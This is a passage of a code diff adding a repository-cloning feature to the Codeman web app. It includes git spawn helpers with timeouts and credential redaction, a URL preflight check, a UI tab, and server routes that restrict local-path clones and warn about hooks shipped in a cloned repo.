+ * and keep only the tail (the last lines are the ones that say why it failed).
+ */
+export function sanitizeGitOutput(text: string, maxBytes = MAX_STDERR_BYTES): string {
+  const redacted = text
+    .replace(/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/@\s]*:[^/@\s]*@/g, '$1***:***@')
+    // eslint-disable-next-line no-control-regex -- deliberate: strip C0/C1 and DEL.
+    .replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, '')
+    .trim();
+  return redacted.length > maxBytes ? `…${redacted.slice(-maxBytes)}` : redacted;
+}
+
+/** Parse `git ls-remote --symref` output into a default branch plus ref lists. */
+export function parseLsRemoteOutput(stdout: string): {
+  defaultBranch?: string;
+  branches: string[];
+  tags: string[];
+  truncated: boolean;
+} {
+  let defaultBranch: string | undefined;
+  const branches: string[] = [];
+  const tags: string[] = [];
+  let truncated = false;
+
+  for (const line of stdout.split('\n')) {
+    const trimmed = line.trim();
+    if (!trimmed) continue;
+    const symref = /^ref:\s+refs\/heads\/(\S+)\s+HEAD$/.exec(trimmed);
+    if (symref) {
+      defaultBranch = symref[1];
+      continue;
+    }
+    const ref = /^[0-9a-f]{40,64}\s+(\S+)$/.exec(trimmed);
+    if (!ref) continue;
+    const name = ref[1];
+    // Peeled tags (`refs/tags/v1^{}`) duplicate their tag; drop them.
+    if (name.endsWith('^{}')) continue;
+    if (name.startsWith('refs/heads/')) {
+      if (branches.length < MAX_REFS_RETURNED) branches.push(name.slice('refs/heads/'.length));
+      else truncated = true;
+    } else if (name.startsWith('refs/tags/')) {
+      if (tags.length < MAX_REFS_RETURNED) tags.push(name.slice('refs/tags/'.length));
+      else truncated = true;
+    }
+  }
+  return { defaultBranch, branches, tags, truncated };
+}
+
+/**
+ * Turn a git failure into something actionable.
+ *
+ * The AUTH_REQUIRED wording matters: GitHub answers "Repository not found" for a
+ * private repo AND for a typo when unauthenticated, so a bare "not found" would
+ * send people hunting for a spelling mistake that isn't there.
+ */
+export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError?: string): GitFailure {
+  const clean = sanitizeGitOutput(stderr);
+  const lower = `${clean}\n${spawnError ?? ''}`.toLowerCase();
+
+  if (spawnError && /enoent/i.test(spawnError)) {
+    return {
+      code: 'GIT_MISSING',
+      message: 'git is not installed on this machine (or not on the server\u2019s PATH).',
+      stderr: clean,
+    };
+  }
+  if (timedOut) {
+    return {
+      code: 'TIMEOUT',
+      message:
+        'Git timed out. Large repositories may need the shallow option, or a longer CODEMAN_GIT_CLONE_TIMEOUT_MS.',
+      stderr: clean,
+    };
+  }
+  if (
+    /could not read username|authentication failed|terminal prompts disabled|permission denied \(publickey\)|invalid username or password|access denied/.test(
+      lower
+    )
+  ) {
+    return {
+      code: 'AUTH_REQUIRED',
+      message:
+        'That repository needs authentication. Codeman clones without credentials, so private repositories have to be cloned outside Codeman and added with Link Existing.',
+      stderr: clean,
+    };
+  }
+  if (/remote branch .* not found|could not find remote branch|pathspec .* did not match/.test(lower)) {
+    return { code: 'REF_NOT_FOUND', message: 'That branch or tag does not exist on the remote.', stderr: clean };
+  }
+  if (
+    /repository not found|not found|does not exist|does not appear to be a git repository|no such file or directory/.test(
+      lower
+    )
+  ) {
+    return {
+      code: 'NOT_FOUND',
+      message:
+        'Repository not found. Check the URL, since hosts also answer "not found" for private repositories when no credentials are supplied.',
+      stderr: clean,
+    };
+  }
+  if (/could not resolve host|connection refused|connection timed out|network is unreachable|ssl|tls/.test(lower)) {
+    return { code: 'HOST_UNREACHABLE', message: 'Could not reach that host from this machine.', stderr: clean };
+  }
+  if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
+    return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
+  }
+  return { code: 'FAILED', message: clean ? `git failed: ${firstLine(clean)}` : 'git failed.', stderr: clean };
+}
+
+function firstLine(text: string): string {
+  const line = text.split('\n').find((l) => l.trim().length > 0) ?? '';
+  return line.length > 300 ? `${line.slice(0, 300)}…` : line;
+}
+
+// ─── IO: bounded git spawns ──────────────────────────────────────────────────
+
+let activeGitOperations = 0;
+const gitWaiters: Array<() => void> = [];
+
+/** Test/diagnostic hook: git operations currently holding a slot. */
+export function getActiveGitOperationCount(): number {
+  return activeGitOperations;
+}
+
+function acquireGitSlot(): Promise<void> {
+  if (activeGitOperations < MAX_CONCURRENT_GIT_OPERATIONS) {
+    activeGitOperations++;
+    return Promise.resolve();
+  }
+  return new Promise<void>((resolve) => gitWaiters.push(resolve));
+}
+
+function releaseGitSlot(): void {
+  const next = gitWaiters.shift();
+  // Hand the slot straight over so the active count can never exceed the cap.
+  if (next) next();
+  else activeGitOperations--;
+}
+
+interface GitRun {
+  stdout: string;
+  stderr: string;
+  code: number | null;
+  timedOut: boolean;
+  spawnError?: string;
+}
+
+/**
+ * Run git with a hard wall-clock bound and capped output capture.
+ *
+ * SIGTERM then SIGKILL, because `git clone` fans out into `git-remote-https` /
+ * `git index-pack` children: a single polite signal to the parent can leave the
+ * fetch running. `detached: true` puts the whole tree in its own process group
+ * so the escalation kills the children too, which is also why the negative-pid
+ * signal is used rather than `child.kill()`.
+ */
+async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
+  await acquireGitSlot();
+  try {
+    return await new Promise<GitRun>((resolve) => {
+      let child: ReturnType<typeof spawn>;
+      try {
+        child = spawn('git', args, {
+          env: gitNonInteractiveEnv(),
+          stdio: ['ignore', 'pipe', 'pipe'],
+          detached: true,
+        });
+      } catch (err) {
+        resolve({ stdout: '', stderr: '', code: null, timedOut: false, spawnError: String(err) });
+        return;
+      }
+
+      let stdout = '';
+      let stderr = '';
+      let stdoutBytes = 0;
+      let timedOut = false;
+      let settled = false;
+      let killTimer: NodeJS.Timeout | undefined;
+
+      const killTree = (signal: NodeJS.Signals) => {
+        try {
+          if (child.pid) process.kill(-child.pid, signal);
+        } catch {
+          try {
+            child.kill(signal);
+          } catch {
+            /* already gone */
+          }
+        }
+      };
+
+      const timer = setTimeout(() => {
+        timedOut = true;
+        killTree('SIGTERM');
+        killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
+      }, timeoutMs);
+
+      child.stdout?.on('data', (chunk: Buffer) => {
+        stdoutBytes += chunk.length;
+        if (stdoutBytes <= maxStdoutBytes) stdout += chunk.toString('utf-8');
+      });
+      child.stderr?.on('data', (chunk: Buffer) => {
+        stderr += chunk.toString('utf-8');
+        // Keep a bounded tail rather than the whole (potentially huge) stream.
+        if (stderr.length > MAX_STDERR_BYTES * 2) stderr = stderr.slice(-MAX_STDERR_BYTES);
+      });
+
+      const finish = (result: GitRun) => {
+        if (settled) return;
+        settled = true;
+        clearTimeout(timer);
+        if (killTimer) clearTimeout(killTimer);
+        resolve(result);
+      };
+
+      child.on('error', (err) => finish({ stdout, stderr, code: null, timedOut, spawnError: String(err) }));
+      child.on('close', (code) => finish({ stdout, stderr, code, timedOut }));
+    });
+  } finally {
+    releaseGitSlot();
+  }
+}
+
+/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
+let gitAvailable: boolean | null = null;
+export function isGitAvailable(): boolean {
+  if (gitAvailable !== null) return gitAvailable;
+  try {
+    execFileSync('git', ['--version'], {
+      encoding: 'utf-8',
+      timeout: EXEC_TIMEOUT_MS,
+      stdio: ['ignore', 'pipe', 'ignore'],
+    });
+    gitAvailable = true;
+  } catch {
+    gitAvailable = false;
+  }
+  return gitAvailable;
+}
+
+/**
+ * Ask the remote what it has, without cloning: reachability, whether it can be
+ * read anonymously, its default branch, and its branch/tag lists (which the UI
+ * turns into a ref picker instead of a free-text field).
+ *
+ * Never throws — an unreachable remote is a normal answer here, not an error.
+ */
+export async function probeGitRemote(
+  repository: string,
+  timeoutMs = GIT_LS_REMOTE_TIMEOUT_MS
+): Promise<GitRemoteProbe> {
+  if (!isGitAvailable()) {
+    return {
+      reachable: false,
+      branches: [],
+      tags: [],
+      failure: classifyGitFailure('', false, 'ENOENT: git not found'),
+    };
+  }
+  const run = await runGit(buildLsRemoteArgs(repository), timeoutMs, MAX_LS_REMOTE_BYTES);
+  if (run.code !== 0 || run.spawnError) {
+    return {
+      reachable: false,
+      branches: [],
+      tags: [],
+      failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError),
+    };
+  }
+  const parsed = parseLsRemoteOutput(run.stdout);
+  return {
+    reachable: true,
+    ...(parsed.defaultBranch ? { defaultBranch: parsed.defaultBranch } : {}),
+    branches: parsed.branches,
+    tags: parsed.tags,
+    ...(parsed.truncated ? { truncated: true } : {}),
+  };
+}
+
+/**
+ * Clone `repository` into `destination`.
+ *
+ * On failure the destination is removed — but only when it did not exist before
+ * the attempt, so a half-written clone is cleaned up while an existing
+ * directory is never touched. Callers still reject a pre-existing destination
+ * upfront; this is the second line of that same defence.
+ *
+ * Never throws; every outcome is a `CloneResult`.
+ */
+export async function cloneRepository(opts: CloneOptions): Promise<CloneResult> {
+  if (!isGitAvailable()) {
+    return { ok: false, failure: classifyGitFailure('', false, 'ENOENT: git not found') };
+  }
+  if (opts.ref && !isSafeGitRef(opts.ref)) {
+    return {
+      ok: false,
+      failure: { code: 'REF_NOT_FOUND', message: 'Invalid branch or tag name.', stderr: '' },
+    };
+  }
+  const preexisting = existsSync(opts.destination);
+  if (preexisting) {
+    return {
+      ok: false,
+      failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
+    };
+  }
+
+  const run = await runGit(buildCloneArgs(opts), opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS, MAX_STDERR_BYTES);
+  if (run.code === 0 && !run.spawnError) return { ok: true, stderr: sanitizeGitOutput(run.stderr) };
+
+  // Remove ONLY the directory this attempt created (git may have written a
+  // partial tree, or nothing at all).
+  await rm(opts.destination, { recursive: true, force: true }).catch(() => {});
+  return { ok: false, failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError) };
+}
diff --git a/src/web/public/index.html b/src/web/public/index.html
index adebd440..a58f3701 100644
--- a/src/web/public/index.html
+++ b/src/web/public/index.html
@@ -2043,6 +2043,7 @@
         </div>
         <div class="modal-tabs">
           <button class="modal-tab-btn active" data-tab="case-create">Create New</button>
+          <button class="modal-tab-btn" data-tab="case-clone" id="caseCloneTabBtn">Clone Repo</button>
           <button class="modal-tab-btn" data-tab="case-link">Link Existing</button>
           <button class="modal-tab-btn" data-tab="case-remote">Remote</button>
           <button class="modal-tab-btn" data-tab="case-docker">Docker</button>
@@ -2108,6 +2109,51 @@
               </div>
             </details>
           </div>
+          <!-- Clone Repo Tab (issue #236) -->
+          <div class="modal-tab-content hidden" id="case-clone">
+            <div class="form-row">
+              <label>Repository URL</label>
+              <input type="url" id="cloneRepoUrl" placeholder="https://github.com/owner/repo.git" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" oninput="app.onCloneUrlInput()">
+              <span class="form-hint clone-status" id="cloneRepoStatus">Public repositories only: Codeman clones with no credentials.</span>
+            </div>
+            <div class="form-row">
+              <label>Case Name</label>
+              <input type="text" id="cloneCaseName" placeholder="repo" pattern="[a-zA-Z0-9_-]+" autocomplete="off" autocapitalize="off" spellcheck="false" oninput="app.onCloneNameEdited()">
+              <span class="form-hint">Filled in from the URL. Cloned into ~/codeman-cases/&lt;name&gt;, so deleting the case deletes this working tree.</span>
+            </div>
+            <div class="form-row">
+              <label>Branch or Tag (optional)</label>
+              <input type="text" id="cloneRepoRef" list="cloneRepoRefOptions" placeholder="default branch" autocomplete="off" autocapitalize="off" spellcheck="false">
+              <datalist id="cloneRepoRefOptions"></datalist>
+              <span class="form-hint" id="cloneRefHint">Leave blank for the repository's default branch.</span>
+            </div>
+            <div class="form-row">
+              <label>Brain</label>
+              <select id="cloneCaseBrain" class="form-select">
+                <option value="">Leave the Run button as it is</option>
+                <option value="claude" data-cli="claude">Claude Code</option>
+                <option value="codex" data-cli="codex">Codex</option>
+                <option value="gemini" data-cli="gemini">Gemini</option>
+                <option value="opencode" data-cli="opencode">OpenCode</option>
+                <option value="antigravity" data-cli="antigravity">Antigravity</option>
+                <option value="shell">Shell (no agent)</option>
+              </select>
+              <span class="form-hint">Which CLI to point the Run button at once the clone finishes. Changeable any time from the Run dropdown.</span>
+            </div>
+            <details class="advanced-options">
+              <summary>Clone options</summary>
+              <div class="advanced-options-content">
+                <div class="form-row">
+                  <label class="checkbox-row"><input type="checkbox" id="cloneShallow"> Shallow clone (--depth 1)</label>
+                  <span class="form-hint">Much faster on big repositories, but there is no history to read afterwards.</span>
+                </div>
+                <div class="form-row">
+                  <label class="checkbox-row"><input type="checkbox" id="cloneStartSession"> Start a session when the clone finishes</label>
+                </div>
+              </div>
+            </details>
+            <span class="form-hint" id="cloneCaseNote" style="margin-top: 8px; display: block;">The clone runs while this request is open, so a large repository takes a while. The case appears as soon as git finishes, even if the browser gave up waiting.</span>
+          </div>
           <!-- Link Existing Tab -->
           <div class="modal-tab-content hidden" id="case-link">
             <div class="form-row">
diff --git a/src/web/public/session-ui.js b/src/web/public/session-ui.js
index dec5e732..99ad73cd 100644
--- a/src/web/public/session-ui.js
+++ b/src/web/public/session-ui.js
@@ -1772,6 +1772,11 @@ Object.assign(CodemanApp.prototype, {
       const el = document.getElementById(id);
       if (el) el.value = '';
     });
+    this._resetCloneForm();
+    // Cloning needs git ON THE SERVER: hide the whole tab rather than let it fail
+    // at submit. Unknown reads as available (isCliAvailable's rule).
+    const cloneTabBtn = document.getElementById('caseCloneTabBtn');
+    if (cloneTabBtn) cloneTabBtn.style.display = this.isCliAvailable('git') ? '' : 'none';
     // Reset to first tab
     this.caseModalTab = 'case-create';
     this.switchCaseModalTab('case-create');
@@ -1817,15 +1822,19 @@ Object.assign(CodemanApp.prototype, {
       submitBtn.textContent =
         tabName === 'case-create'
           ? 'Create'
-          : tabName === 'case-remote'
-            ? 'Link Remote'
-            : tabName === 'case-docker'
-              ? 'Link Docker'
-              : 'Link';
+          : tabName === 'case-clone'
+            ? 'Clone'
+            : tabName === 'case-remote'
+              ? 'Link Remote'
+              : tabName === 'case-docker'
+                ? 'Link Docker'
+                : 'Link';
     }
     // Focus appropriate input
     if (tabName === 'case-create') {
       document.getElementById('newCaseName').focus();
+    } else if (tabName === 'case-clone') {
+      document.getElementById('cloneRepoUrl').focus();
     } else if (tabName === 'case-link') {
       document.getElementById('linkCaseName').focus();
     } else if (tabName === 'case-remote') {
@@ -1843,10 +1852,16 @@ Object.assign(CodemanApp.prototype, {
     const btn = document.getElementById('caseModalSubmit');
     const originalText = btn.textContent;
     btn.classList.add('loading');
-    btn.textContent = this.caseModalTab === 'case-create' ? 'Creating...' : 'Linking...';
+    btn.textContent =
+      this.caseModalTab === 'case-create' ? 'Creating...' : this.caseModalTab === 'case-clone' ? 'Cloning...' : 'Linking...';
+    // A clone holds this request open for minutes; without disabling the button a
+    // second click fires a second clone (the loser then fails on ALREADY_EXISTS).
+    btn.disabled = true;
     try {
       if (this.caseModalTab === 'case-create') {
         await this.createCase();
+      } else if (this.caseModalTab === 'case-clone') {
+        await this.cloneCase();
       } else if (this.caseModalTab === 'case-remote') {
         await this.linkRemoteCase();
       } else if (this.caseModalTab === 'case-docker') {
@@ -1856,6 +1871,7 @@ Object.assign(CodemanApp.prototype, {
       }
     } finally {
       btn.classList.remove('loading');
+      btn.disabled = false;
       btn.textContent = originalText;
     }
   },
@@ -1997,6 +2013,231 @@ Object.assign(CodemanApp.prototype, {
     }
   },
 
+  // ═══════════════════════════════════════════════════════════════
+  // Clone Repo tab (issue #236)
+  // ═══════════════════════════════════════════════════════════════
+
+  /** Clear the Clone tab and drop any preflight state. Called from showCreateCaseModal(). */
+  _resetCloneForm() {
+    const set = (id, value) => {
+      const el = document.getElementById(id);
+      if (el) el.value = value;
+    };
+    set('cloneRepoUrl', '');
+    set('cloneCaseName', '');
+    set('cloneRepoRef', '');
+    const shallow = document.getElementById('cloneShallow');
+    if (shallow) shallow.checked = false;
+    const start = document.getElementById('cloneStartSession');
+    if (start) start.checked = false;
+    const refs = document.getElementById('cloneRepoRefOptions');
+    if (refs) refs.replaceChildren();
+    const refHint = document.getElementById('cloneRefHint');
+    if (refHint) refHint.textContent = "Leave blank for the repository's default branch.";
+    this._cloneNameEdited = false;
+    this._clonePreflight = null;
+    clearTimeout(this._clonePreflightTimer);
+    this._clonePreflightAbort?.abort();
+    this._clonePreflightAbort = null;
+    this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
+    // The brain picker mirrors the toolbar run menu: never offer a CLI this box
+    // lacks (#201's rule), and preselect whatever Run is currently pointing at.
+    const brain = document.getElementById('cloneCaseBrain');
+    if (brain) {
+      for (const option of brain.options) {
+        const cli = option.dataset.cli;
+        option.hidden = !!cli && !this.isCliAvailable(cli);
+      }
+      const current = this.runMode || 'claude';
+      brain.value = [...brain.options].some((o) => o.value === current && !o.hidden) ? current : '';
+    }
+  },
+
+  _setCloneStatus(message, kind) {
+    const el = document.getElementById('cloneRepoStatus');
+    if (!el) return;
+    el.textContent = message;
+    el.className = `form-hint clone-status${kind ? ' clone-status-' + kind : ''}`;
+  },
+
+  /**
+   * Best-effort repo name out of a URL, for filling the case name as you type.
+   *
+   * Deliberately a THIN mirror of `suggestCaseNameFromRepo` (git-clone.ts) rather
+   * than a second URL parser: it only ever suggests a name, and the server's parse
+   * is the authority on whether the URL is cloneable at all. The preflight reply
+   * overwrites whatever this guessed.
+   */
+  _repoNameFromUrl(url) {
+    const trimmed = (url || '').trim().replace(/\/+$/, '');
+    if (!trimmed) return '';
+    const segment = trimmed
+      .replace(/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//, '')
+      .replace(/^[^@/]*@/, '')
+      .split(/[/:]/)
+      .filter(Boolean)
+      .pop() || '';
+    return segment
+      .replace(/\.git$/i, '')
+      .replace(/[^a-zA-Z0-9_-]+/g, '-')
+      .replace(/-{2,}/g, '-')
+      .replace(/^[-_]+|[-_]+$/g, '')
+      .slice(0, 64);
+  },
+
+  onCloneNameEdited() {
+    // Once the user types a name, autofill stops fighting them.
+    this._cloneNameEdited = !!document.getElementById('cloneCaseName')?.value.trim();
+  },
+
+  onCloneUrlInput() {
+    const url = document.getElementById('cloneRepoUrl')?.value.trim() || '';
+    const nameInput = document.getElementById('cloneCaseName');
+    if (nameInput && !this._cloneNameEdited) nameInput.value = this._repoNameFromUrl(url);
+    clearTimeout(this._clonePreflightTimer);
+    this._clonePreflightAbort?.abort();
+    this._clonePreflightAbort = null;
+    if (!url) {
+      this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
+      return;
+    }
+    if (this.isCliAvailable('git') === false) {
+      this._setCloneStatus('git is not installed on the Codeman host, so cloning is unavailable.', 'err');
+      return;
+    }
+    this._setCloneStatus('Checking the repository…', '');
+    this._clonePreflightTimer = setTimeout(() => this._runClonePreflight(url), 450);
+  },
+
+  /**
+   * Ask the server to parse the URL and (if it survives) query the remote, so the
+   * user learns "private repo" / "typo" / "3 tags" BEFORE waiting on a clone.
+   * Stale replies are dropped: only the response for the URL currently in the
+   * field is allowed to paint.
+   */
+  async _runClonePreflight(url) {
+    const controller = new AbortController();
+    this._clonePreflightAbort = controller;
+    try {
+      const res = await fetch('/api/cases/clone-preflight', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ repository: url }),
+        signal: controller.signal,
+      });
+      const env = await res.json();
+      if (document.getElementById('cloneRepoUrl')?.value.trim() !== url) return;
+      if (!env.success) {
+        this._setCloneStatus(env.error || 'Could not check that URL.', 'err');
+        return;
+      }
+      this._applyClonePreflight(env.data, url);
+    } catch (err) {
+      if (err.name === 'AbortError') return;
+      this._setCloneStatus('Could not reach Codeman to check that URL.', 'err');
+    }
+  },
+
+  _applyClonePreflight(data, url) {
+    this._clonePreflight = data;
+    const parse = data?.parse;
+    if (!parse?.cloneable) {
+      this._setCloneStatus(parse?.message || 'That URL cannot be cloned.', 'err');
+      return;
+    }
+    // The server's suggestion wins over the local guess (it is the same function
+    // the case name is validated against), but never over a name the user typed.
+    const nameInput = document.getElementById('cloneCaseName');
+    if (nameInput && !this._cloneNameEdited && parse.suggestedName) nameInput.value = parse.suggestedName;
+
+    const where = parse.owner ? `${parse.provider} ${parse.owner}/${parse.repo}` : `${parse.provider} ${parse.repo}`;
+    if (data.gitAvailable === false) {
+      this._setCloneStatus(`${where}: git is not installed on the Codeman host.`, 'err');
+      return;
+    }
+    const remote = data.remote;
+    if (remote && !remote.reachable) {
+      this._setCloneStatus(`${where}: ${remote.failure?.message || 'the remote could not be read.'}`, 'err');
+      return;
+    }
+    const refHint = document.getElementById('cloneRefHint');
+    const options = document.getElementById('cloneRepoRefOptions');
+    if (remote && options) {
+      options.replaceChildren();
+      for (const ref of [...(remote.branches || []), ...(remote.tags || [])]) {
+        const option = document.createElement('option');
+        option.value = ref;
+        options.appendChild(option);
+      }
+      if (refHint) {
+        const counts = `${remote.branches?.length || 0} branches, ${remote.tags?.length || 0} tags`;
+        refHint.textContent = remote.defaultBranch
+          ? `Blank clones the default branch (${remote.defaultBranch}). ${counts} available.`
+          : `Blank clones the default branch. ${counts} available.`;
+      }
+    }
+    const warning = parse.warnings?.[0];
+    this._setCloneStatus(warning ? `${where}: ${warning}` : `${where}: ready to clone.`, warning ? 'warn' : 'ok');
+  },
+
+  async cloneCase() {
+    const url = document.getElementById('cloneRepoUrl').value.trim();
+    const name = document.getElementById('cloneCaseName').value.trim();
+    const ref = document.getElementById('cloneRepoRef').value.trim();
+    const shallow = !!document.getElementById('cloneShallow')?.checked;
+    const brain = document.getElementById('cloneCaseBrain')?.value || '';
+    const startSession = !!document.getElementById('cloneStartSession')?.checked;
+
+    if (!url) {
+      this.showToast('Please enter a repository URL', 'error');
+      return;
+    }
+    if (!name) {
+      this.showToast('Please enter a case name', 'error');
+      return;
+    }
+    if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
+      this.showToast('Invalid name. Use only letters, numbers, hyphens, underscores.', 'error');
+      return;
+    }
+
+    this._setCloneStatus(`Cloning ${url}… this can take a while for a large repository.`, '');
+    try {
+      const res = await fetch('/api/cases/clone', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        // Zod `.optional()` rejects an explicit null, and JSON.stringify keeps one
+        // on the wire — omit the empty fields instead of sending null.
+        body: JSON.stringify({ name, repository: url, ...(ref ? { ref } : {}), ...(shallow ? { shallow: true } : {}) }),
+      });
+      const data = await res.json();
+      if (!data.success) {
+        this._setCloneStatus(data.error || 'Clone failed.', 'err');
+        this.showToast(data.error || 'Failed to clone repository', 'error');
+        return;
+      }
+
+      // Setting the brain before the tab closes means the Run button is already
+      // pointing at the chosen CLI, whether or not a session starts now.
+      if (brain) this.setRunMode(brain);
+      this.closeCreateCaseModal();
+      await this.loadQuickStartCases(name);
+      await this.saveLastUsedCase(name);
+      this.showToast(`Cloned into case "${name}"`, 'success');
+      for (const warning of data.data?.warnings || []) this.showToast(warning, 'warning');
+      if (startSession) await this.run();
+    } catch (err) {
+      // A proxy/idle timeout can kill the request while git keeps going: the
+      // case:created broadcast is what makes the case show up regardless.
+      console.error('Failed to clone repository:', err);
+      this._setCloneStatus(
+        `Lost the connection while cloning: ${err.message}. If git finishes, the case still appears in the list.`,
+        'warn'
+      );
+      this.showToast('Clone request interrupted — watch the case list', 'error');
+    }
+  },
+
   openLinkCasePathPicker() {
     const pathInput = document.getElementById('linkCasePath');
     PathPicker.open({
diff --git a/src/web/public/styles.css b/src/web/public/styles.css
index 62236f0f..05d78c40 100644
--- a/src/web/public/styles.css
+++ b/src/web/public/styles.css
@@ -5323,6 +5323,22 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea {
   margin-top: 0.35rem;
 }
 
+/* Clone Repo tab (issue #236): live verdict on the URL being typed. Semantic
+   tokens, so light skins inherit readable variants automatically. */
+.clone-status {
+  min-height: 1.6em;
+  overflow-wrap: anywhere;
+}
+.clone-status-ok {
+  color: var(--green);
+}
+.clone-status-warn {
+  color: var(--yellow);
+}
+.clone-status-err {
+  color: var(--red);
+}
+
 /* Preset selector */
 .preset-selector {
   display: flex;
diff --git a/src/web/routes/case-routes.ts b/src/web/routes/case-routes.ts
index cefab115..224c6d00 100644
--- a/src/web/routes/case-routes.ts
+++ b/src/web/routes/case-routes.ts
@@ -1,7 +1,9 @@
 /**
  * @fileoverview Case management routes.
  * Handles CRUD for cases (directories under ~/codeman-cases and linked folders),
- * fix-plan reading, and ralph-wizard file serving.
+ * cloning a repository into a new case (`/api/cases/clone` + `/clone-preflight`,
+ * issue #236 — the URL-safety rules live in `src/git-clone.ts`), fix-plan reading,
+ * and ralph-wizard file serving.
  */
 
 import { FastifyInstance } from 'fastify';
@@ -15,6 +17,8 @@ import type { ApiResponse, CaseInfo, DockerHost, RemoteSessionInfo, SessionDocke
 import { ApiErrorCode, createErrorResponse, getErrorMessage } from '../../types.js';
 import {
   CreateCaseSchema,
+  CloneCaseSchema,
+  ClonePreflightSchema,
   LinkCaseSchema,
   CaseOrderSchema,
   RemoteCaseLinkSchema,
@@ -26,6 +30,14 @@ import {
   DockerQuickCreateSchema,
 } from '../schemas.js';
 import { exportDockerCase, importDockerBundle, listDockerExports, exportBundleName } from '../../docker-export.js';
+import {
+  cloneRepository,
+  isGitAvailable,
+  isSafeGitRef,
+  parseGitRepositoryUrl,
+  probeGitRemote,
+} from '../../git-clone.js';
+import type { GitRemoteProbe, GitUrlParse } from '../../git-clone.js';
 import { generateClaudeMd } from '../../templates/claude-md.js';
 import { writeHooksConfig } from '../../hooks-config.js';
 import {
@@ -89,6 +101,41 @@ const APP_VERSION = (() => {
   }
 })();
 
+/**
+ * Refusal text for a `local`-transport clone by a non-admin in multi-user mode.
+ * Per-user case spaces live inside one $HOME, so cloning from an absolute path
+ * would copy another user's workspace into the caller's own (the same escape
+ * `/api/cases/link` is admin-only for).
+ */
+const LOCAL_CLONE_ADMIN_ONLY =
+  'Cloning from a local path is admin-only in multi-user mode. Use a repository URL instead.';
+
+/**
+ * The one line of git's stderr worth appending to an error message.
+ *
+ * NOT the first line: `git clone` opens with "Cloning into '<dest>'…", so a naive
+ * first-line pick reported the destination path as the reason a bad branch failed
+ * (observed against a real remote). Prefer the LAST diagnostic line
+ * (`fatal:`/`error:`/`remote:`), which is where git puts the actual cause.
+ */
+function gitDiagnosticLine(stderr: string): string {
+  const lines = stderr
+    .split('\n')
+    .map((l) => l.trim())
+    .filter(Boolean);
+  const line = [...lines].reverse().find((l) => /^(fatal|error|remote|warning):/i.test(l)) ?? lines.at(-1) ?? '';
+  return line.length > 200 ? `${line.slice(0, 200)}…` : line;
+}
+
+/**
+ * Does the freshly cloned tree carry its own Claude settings? Those can contain
+ * hooks, which run on the user's machine when a session starts in the case, so
+ * the clone response says so out loud instead of silently merging into them.
+ */
+function repoShipsClaudeSettings(casePath: string): boolean {
+  return ['settings.json', 'settings.local.json'].some((file) => existsSync(join(casePath, '.claude', file)));
+}
+
 /** Read and parse linked-cases.json, returning empty object on missing/invalid file. */
 async function readLinkedCases(): Promise<Record<string, string>> {
   return readJsonConfig<Record<string, string>>(LINKED_CASES_FILE, 'linked cases', {});
@@ -301,6 +348,178 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
     }
   });
 
+  // ========== Clone a repository as a case (issue #236) ==========
+
+  /**
+   * Ask a remote what it has, without cloning anything.
+   *
+   * Two jobs: tell the user whether the URL they typed can be cloned *anonymously*
+   * (Codeman supplies no credentials, so "private" and "typo" both have to be
+   * distinguishable from "fine"), and hand back the branch/tag lists so the ref
+   * field is a picker instead of a guess.
+   *
+   * Always 200 with `reachable: false` on a dead remote — an unreachable URL is a
+   * normal answer to a preflight, not a server error, and the UI renders the reason.
+   */
+  app.post(
+    '/api/cases/clone-preflight',
+    async (
+      req,
+      reply
+    ): Promise<ApiResponse<{ parse: GitUrlParse; remote?: GitRemoteProbe; gitAvailable: boolean }>> => {
+      const { repository } = parseBody(ClonePreflightSchema, req.body);
+      const parsed = parseGitRepositoryUrl(repository);
+      if (!parsed.cloneable) {
+        return { success: true, data: { parse: parsed, gitAvailable: isGitAvailable() } };
+      }
+      if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
+        reply.code(403);
+        return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
+      }
+      if (!isGitAvailable()) {
+        return { success: true, data: { parse: parsed, gitAvailable: false } };
+      }
+      const remote = await probeGitRemote(parsed.repository);
+      return { success: true, data: { parse: parsed, remote, gitAvailable: true } };
+    }
+  );
+
+  /**
+   * Clone a repository into the caller's case space and register it as a normal
+   * local case (issue #236).
+   *
+   * SYNCHRONOUS by design for v1: the request stays open for the whole clone
+   * (bounded by `GIT_CLONE_TIMEOUT_MS`), so there is no job store, no polling and
+   * no cancellation surface to get wrong. The `case:created` broadcast is what
+   * makes that safe behind a proxy with its own idle timeout — a client whose
+   * request died mid-clone still sees the case appear over SSE when git finishes.
+   *
+   * Deliberately NOT admin-gated in multi-user mode: unlike `/api/cases/link`,
+   * this writes only inside the caller's own `resolveCasesDir`. The one exception
+   * is a `local`-transport source, which would read through that boundary.
+   *
+   * Repository contents win over scaffolding: an existing CLAUDE.md is left
+   * alone, and hooks are MERGED into whatever `.claude/settings.local.json` the
+   * repo ships (`writeHooksConfig` preserves non-Codeman handlers). A repo that
+   * ships its own hooks is reported back as a warning, because those run on the
+   * user's machine the moment a session starts in the case.
+   */
+  app.post(
+    '/api/cases/clone',
+    async (
+      req,
+      reply
+    ): Promise<
+      ApiResponse<{
+        case: { name: string; path: string };
+        repository: string;
+        ref?: string;
+        provider: string;
+        warnings: string[];
+      }>
+    > => {
